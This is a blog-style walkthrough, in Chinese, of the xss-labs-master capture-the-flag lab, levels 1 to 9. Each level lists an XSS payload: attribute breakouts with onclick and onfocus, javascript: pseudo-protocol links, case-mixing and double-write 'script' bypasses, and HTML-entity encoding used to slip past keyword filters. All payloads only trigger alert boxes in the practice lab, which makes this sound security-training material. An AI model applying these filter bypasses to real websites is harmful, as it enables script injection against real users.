xss靶场实战(xss-labs-master靶场)

xss-labs-master靶场链接:https://pan.baidu.com/s/1X_uZLF3CWw2Cmt3UnZ1bTw?pwd=gk9c

提取码:gk9c

xss-labs level 1修改 url 地址中的name=<script>alert(1)</script>,便可以通关

level 2 在搜索框中输入的 JS 代码无法执行

查看网页源码可以发现表单提交的参数被存储在了value属性中

修改闭合方式来闭合value值,插入 js 代码便能执行

"><script>alert(1)</script>

level 3 和上一关的情况差不多,输入值包含在value属性中

测试发现">无法闭合属性值,可能是符号被转义

构造 poc 对响应包中的value属性进行闭合,提交后再次点击搜索框便会弹出弹窗

' οnclick='alert(1)

level 4 查看第四关响应包,可以发现后台对尖括号<>进行了过滤

箭头 2 处却是把<和>删除了但是,事件触发却不需要使用这两个符号。

直接使用事件闭合,注意这关的闭合符为双引号,提交后点击搜索框便会弹窗

" οnclick="alert(1)

" οnfοcus=javascript:alert('xss') "

level 5 查看响应包,可以发现<script>标签中被添加了一个下划线,变成了

<scr_ipt>,导致 JS 代码无法别识别

可以不使用<script>,使用链接标签中的javascript:伪协议来执行 JS 代码,点击插入的链接便会弹窗

"><a href="javascript:alert(1)">

"> <a href=javascript:alert('xss') > <"

level 6 和上一关类似,这次除了<script>标签,<a>标签的href值也会插入一个下划线

而且<img>标签的src属性和onerror属性也会被插入下划线

通过大小写转换可以绕过过滤

"><a hrEF="javascript:alert(1)">

level 7 查看响应包,可以看到后台对script字符串进行了过滤

通过双写script字符串可以绕过过滤

"><scscriptript>alert(1)</scscriptript>

level 8编码绕过

从响应包可以看出,系统对表单中的双引号、尖括号进行了转义,在script字符串中插入了下划线(<和>被编码在 href 属性值中script字符被插入了_字符破坏语义)

构造 poc 插入<a>标签的href标签中,利用伪协议执行 JS 代码弹窗:

javascript:alert(1)

将 poc 进行 HTML 实体编码后提交,点击链接后便会弹窗

https://config.net.cn/tools/HtmlEncode.html

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#10

8;&#101;&#114;&#116;&#40;&#49;&#41;

用来闭合引号的引号也被编码。

onfocus 一类的事件也被破坏尝试大小写绕过,也失败我们可以将要提交的 js 代码转成实体

level 9检测关键字用第 8 关的方式说链接不合法弹框的信息里面包含http://就可以了

提交的参数值插入到了标签的 value 属性值中

但是在标签的 href 属性中却并没有出现该参数值,

而是显示的 "您的链接不合法?有没有!"这样的字符串。

有可能是将我们的代码进行了过滤

只有包含正常的 url 地址才能添加到 href 属性值中构造一个有正常 url 地址的恶意代码:

java&#115;&#99;&#114;&#105;&#112;&#116;:alert('xsshttp://')

弹框的信息里面包含http://就可以了

相关推荐
笃行35014 小时前
集中式与分布式,KingbaseES 的四种形态共用一套内核
前端
陈随易15 小时前
Vue 编译器换掉 source map,快了三四成
前端·后端·程序员
ZhengEnCi16 小时前
12 种高级 UI 交互效果及对应 AI 提示词:从按压回弹到底部抽屉的物理感教学
前端·css·交互设计
IT_陈寒19 小时前
Redis大key删除为什么会导致服务卡顿?我的线上事故复盘
前端·人工智能·后端
用户27050777252420 小时前
MCP 最小 Server 实测:3 个 JSON-RPC 报错与修法
前端
用户4993350250720 小时前
一人VIP账号多人共用:Web 代理里的会话共享怎么实现
前端
用户老李20 小时前
无线电自学教程 05:第一台收音机——从矿石机到 SDR
前端
IPIPD20 小时前
Node.js请求遇到503怎么重试?先解析Retry-After,再做有上限退避
前端
葡萄城技术团队20 小时前
dsh-spreadjs-editor 的集成链路:把 SpreadJS Designer 嵌进 Agent 工作台
前端
FlyWIHTSKY21 小时前
vue2和vue3有什么区别,用法上有哪些区别
前端·javascript·vue.js